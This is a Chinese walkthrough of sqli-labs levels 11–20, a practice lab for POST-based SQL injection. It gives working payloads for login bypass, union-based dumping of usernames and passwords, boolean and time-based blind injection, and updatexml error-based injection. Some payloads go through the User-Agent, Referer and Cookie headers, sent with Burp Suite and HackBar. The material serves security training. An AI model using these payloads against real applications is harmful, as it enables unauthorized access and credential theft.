Less-11到Less-20是POST数据,我们将使用Harkbar中的Post data进行注入,注入的基本语句依旧是sql语句,但是根据数据的不同,这里我们使用的语句需要有一些变动,接下来进入Less=11。

Less-11

  1.打开Less-11,确认是否有注入漏洞,我们可以直接在用户名输入‘,密码为任意,此时就会报错:

 

 

   发现有sql语句错误,可以看到查询username和password用and连接放在同一个SQL语句中,那么就可以在此SQL语句中注释掉后面的密码,使得该SQL查询返回真,从而绕过密码成功登录。这里为了方便POST数据,我们使用Firefox的hackbar插件构造payload。

  也可以使用Burp Suite,这里我们推荐这种方法,因为我们接下来无论如何都需要使用Burp Suite来确定语句的格式,我们进行Burp Suite代理,在Username中输入admin,Password中也输入admin,可以看到Burp中发送过来的数据,我们复制最下面这一行:

 

 

   关闭Burp Suite,返回火狐浏览器,在Harkbar中点击Enable Post data,打开POST数据,把刚刚复制的语句粘贴到Post data中,点击Execute,可以看到返回成功的字样:

 

 

   2.其中的语句为:uname=admin&passwd=admin&submit=Submit,我们把admin改为’,发现失败了:

 

 

   我们这里把语句中添加or 1=1,再在后面加上注释符#,这里不能加--+,--+适用于url数据,Post中应该使用#,然后发现返回成功,存在注入漏洞,我们可以绕过密码访问出我们想要的数据库名、列名乃至用户名和密码:

 

   3。修改语句访问数据库:

  uname='union select 1,schema_name from information_schema.schemata limit 1,1
  #&passwd=admin&submit=Submit

 

  4.访问表:

  uname='union select 1,group_concat(schema_name) from information_schema.schemata limit 1,1
  #&passwd=admin&submit=Submit

 

   5.访问列:

  uname='union select 1,group_concat(table_name) from information_schema.tables where              table_schema='security'#&passwd=admin&submit=Submit

 

  6.访问users表:  

  uname='union select 1,group_concat(column_name) from information_schema.columns where           table_name='users'#&passwd=admin&submit=Submit

 

   7.爆出username和password,我们这里使用concat_ws()函数一次性爆出来:

  uname='union select 1,group_concat(concat_ws('----',username,password)) from security.users
  #&passwd=admin&submit=Submit

 

   也可以使用下面两个语句:

  uname='union select 1,group_concat(username) from security.users
  #&passwd=admin&submit=Submit
  uname='union select 1,group_concat(password) from security.users
  #&passwd=admin&submit=Submit

   Less-11结束。

 

Less-12:使用(”a”)包裹

  与Less-11的步骤相同,这里把单引号换为双引号,包裹方法的尝试无外乎以下六种:

      '       ')   ’))      "      ")      "))

  尝试后看哪一次返回正确即为此方式包裹,当然也有可能没有包裹。

  所有语句如下,不再赘述:

  uname=a")union select 1,schema_name from information_schema.schemata limit 1,1
#&passwd=admin&submit=Submit


  uname=a")union select 1,group_concat(schema_name) from information_schema.schemata
#&passwd=admin&submit=Submit


  uname=a")union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'
#&passwd=admin&submit=Submit


  uname=a")union select 1,group_concat(column_name) from information_schema.columns where table_name='users'
#&passwd=admin&submit=Submit


  uname=a")union select 1,group_concat(concat_ws('----',username,password)) from security.users
#&passwd=admin&submit=Submit

   这里特别的是获取Post data语句的途径,Less-11使用的是Burp Suite来获取,我们这里采取一种新的工具:HTTP headers,想获取的可以在火狐中加载插件,这里我在工具中打开;

 

   打开后空空如也,这时在Username和Password中输入admin,HTTP headers中会出现数据,里面出现了我们需要的语句,复制并输入Post data中:

  最终的执行结果为:

 

 

 

Less-13:使用(’a’)包裹    

  此时我们发现只显示登录成功,不返回结果,所以使用布尔注入即盲注进行破解,也可以使用Burp Suite进行破解,原理相同,都是逐位对数据库名等信息进行破解,语句为 uname=a') or 1=1#&passwd=a &submit=submit:

 

 

   接下来就按照布尔注入的方式输入select语句:

  1.测试数据库名的长度:select length(database());

  这是检测数据库长度的语句,但是由于我们这里没有返回结果,所以需要配合if语句来进行判断,从而猜测数据库长度:if(length(database())>1,1,sleep(5))

  意为当数据库大于(或小于)多少位(这里是1,可以替换)的时候,若正确就返回1,错误就等待五秒,我们在这里没有返回值,所以就根据返回时间是否等待五秒来判断,整体的最终语句为:

  uname=a') or if(length(database())>1,1,sleep(5))#&passwd=a &submit=submit

 

  最终根据 uname=a') or length(database())=8#&passwd=a &submit=submit 判断出为8位。

  2.用left()语句把字符一个一个拿出来,语句为:

  uname=a') or left((select schema_name from information_schema.schemata limit 0,1),1)>'a'#&passwd=a &submit=submit

 

   通过尝试我们发现首字母为i:

 

   如此循环往复即可爆破出想要的数据。

 

Less-14:使用”a”进行包裹

  与Less-13操作相同,不再赘述,代码如下:

  uname=a“ or if(length(database())>1,1,sleep(5))#&passwd=a &submit=submit

  uname=a” or left((select schema_name from information_schema.schemata limit 0,1),1)>'a'#&passwd=a &submit=submit

  最终结果为:

 

Less-15:使用'admin'包裹

  

与Less-13操作相同,不再赘述,代码如下:

  uname=admin‘ or if(length(database())>1,1,sleep(5))#&passwd=a &submit=submit

  uname=admin’ or left((select schema_name from information_schema.schemata limit 0,1),1)>'a'#&passwd=a &submit=submit

   最终结果为:

 

 

 Less-16:使用 ("admin")包裹

   与Less-13操作相同,不再赘述,代码如下:

  uname=admin")or if(length(database())>1,1,sleep(5))#&passwd=a &submit=submit

  uname=admin")or left((select schema_name from information_schema.schemata limit 0,1),1)>'a'#&passwd=a &submit=submit

   最终结果为:

 

Less-17:

  我们在这一关中需要使用 UPDATEXML() 函数进行报错注入,首先我们来看UPDATEXML()函数,以下内容来自 https://blog.csdn.net/vspiders/article/details/77430024:

  UPDATEXML(XML_document,XPath_string,new_value)

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 
第三个参数:new_value,String格式,替换查找到的符合条件的数据 

  作用:改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值

而我们的注入语句为:

  updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出
  ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’
(XPATH格式:http://www.cnblogs.com/Loofah/archive/2012/05/10/2494036.html)

 

  我们通过HTTP headers得到Post语句  uname=admin&passwd=admi&submit=Submit,然后将用户名改为错误的:

  uname=’#&passwd=admi&submit=Submit

  此时发现语句的输出有问题,并不进行更新,所以我们这里修改一下密码部分,而为了使得密码也输出出来,我们需要去文件里添加语句,如下,在Less-17文件夹中的index打开,修改图中的部分,添加语句:

  echo $update;

  echo "<br>";

 

   此时把名字修改正确,然后把密码改错,输出正常了,整条语句全部输出了:

 

   然而如果把名字改错,就发现输出的语句中password就没有了:

 

    打开Less-17的index,查看语句我们就发现为什么了,我们看到,它使用了条件语句,使用了get_magic_quotes_gpc   对name 和 password分开进行验证,并且在验证时候对name进行了过滤处理,将’这个符号进行了转义。先对username进行验证,正确后才会继续验证password,我们注入的语句用户名是错误的,又怎么能看到密码的内容呢:

 

   所以我们接下来的注入的方向就是必须知道正确的用户名,才能够进一步得到密码,这里我们输入正确的username——admin,然后在password上面做文章,这里使用的注入方式就是上面提到的updatexml函数的注入方式:

  uname=admin&passwd=’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’security’ limit 0,1),0x7e),1)#&submit=submit

 

   注入后发现XPATH报错,从而得知发生错误的字段为emails,这个字段不符合XPATH的规则,一个表的名字就这样爆出来了,如此循环往复修改limit的值,所有的表名都能爆出来。

  使用上面的方法查到了users表,接下来就查列:

  uname=admin&passwd=‘ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’users’ limit 0,1),0x7e),1)#&submit=submit

 

   看到报错爆出的列名是id,如此循环往复修改select语句,最终的username和password都能爆出来,不再赘述。

  Less-17完成。

 

Less-18:

  我们看Less-18的提示是头部报错注入,登陆成功以后我们能够看到输出的东西除了select语句,还有User Agent说明信息,包括IP地址,使用的浏览器版本以及操作系统:

   而错误时我们看到输出的结果是没有下面的一系列User Agent说明信息的:

 

   我们接下来输入’(单引号)等符号试图进行注入,结果发现发生了像Less-17那样的情况,把各种符号都进行了转义,在password中尝试,结果也发生了转义:

   所以我们现在如果意图继续用updatexml()函数的格式报错来把数据库名,列名乃至username,password等信息爆破出来,就需要做代理进行注入,这里我们使用Burp Suite来进行代理,代理成功后如下图所示:

 

   然后选中所有的语句,右击发送至Repeater进行抓包,如图所示;

 

   在Repeater中选择User-Agent,在其中输入注入语句进行注入,这里我们的注入有两种方式,因为我们需要在uagent后进行闭合,有两种闭合方式,这里我们选择第一个,然后点击Go,右侧选择Render查看:

   'or updatexml(1,concat(0x7e,(database())),1) or '1'='1

        'or updatexml(1,concat(0x7e,(database())),1) ,",")#(注意最后不是双引号,是两对单引号)

 

   上面的语句中,我们选择注入的是database(),成功通过报错输出了security,这里我们要查询相应的数据库内容,只要将相应查库,查表等语句替代database()即可:

查库 :

  'or updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit             0,1)),1) or '1'='1

查表:

   'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1) or '1'='1

查列:

   'or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where            table_name='users' limit 0,1)),1) or '1'='1

 

 查字段 :

   'or updatexml(1,concat(0x7e,(select username from security.users limit 0,1)),1) or '1'='1

 

 

 

Less-19:

  我们输入正确的用户名和密码,发现有INSERT 语句:

 

   INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('http://localhost/sqli-labs-master/sqli-labs-master/Less-19/', '127.0.0.1')

  分析这个INSERT语句发现显示的是Referer信息,不是Uagent信息了,我们这里也需要进行闭合,同样的两种闭合方式:

(1)' or updatexml(1,concat(0x7e,(database())),1) and '1'=‘1
(2)‘ or updatexml(1,concat(0x7e,(database())),1), ‘’)#

  其他语句和操作方法与Less-18相同,不再赘述。

 

Less-20:

  同样,我们使用admin进行登录,登陆成功以后我们会发现很多的回显信息:

 

   我们看到这里出现了一个名叫cookie的东西,这个东西是指某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密),我们使用Cookie可以保持登录信息到用户下次与服务器的会话,换句话说,下次访问同一网站时,用户会发现不必输入用户名和密码就已经登录了,例如我们的QQ之类。

  那么我们现在登录成功了,后台此时将username放入cookie中,再次登陆时候只要是cookie没过期,就会去cookie里面取值,然后进行查询,这里我们继续使用Burp Suite进行代理:

 

   

法一:联合查询

  修改cookie的语句:uname=admin',此时会报错:

 

   我们在后面添加#发现显示正确,说明有注入漏洞,我们这个时候可以使用联合查询,先猜测列数,再看回显位置,然后查库查表查列查字段就可以了,语句如下,不再赘述:

猜测列数:

  uname=' order by 5 #   ( 通过实验知道列数为3)

看回显位置:

  uname=’union select 1,2,3#

查库:

  uname='union select 1,2,group_concat(schema_name)from information_schema.schemata#

查表:

  uname='union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'#

查列:

  uname='union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'#

查字段:

  uname='union select 1,2,group_concat(concat_ws('~',username,password))from security.users#

法二:报错注入

  与前面的内容差不多,都是采用updatexml的格式报错来把字段爆破出来,语句如下,不再赘述:

查库 :

   Cookie: uname=adm' or updatexml(1,concat(0x7e,database(),0x7e),1)#

查表 :

   Cookie: uname=adm' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
查列 :

  Cookie: uname=adm' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' #
查字段 :

  Cookie:uname=adm' or updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1)#